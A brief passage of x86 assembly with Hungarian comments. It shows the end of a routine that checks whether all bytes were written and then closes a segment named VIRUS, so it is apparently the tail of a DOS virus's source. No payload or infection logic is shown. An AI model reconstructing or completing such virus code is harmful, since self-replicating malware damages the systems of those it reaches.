	POPF
	PUSH CS			;  DS=CS
	POP DS
	JC UTAN3
	CMP AX,CX		;  MINDEN BYTEOT KIIRT?
	JNZ UTAN3		;  NEM
	POP ES
	CLC			;  NEM TORTENT HIBA
	RET			;  VISSZATERES
UTANMAS	ENDP

VEG	EQU $

VIRUS	ENDS

	END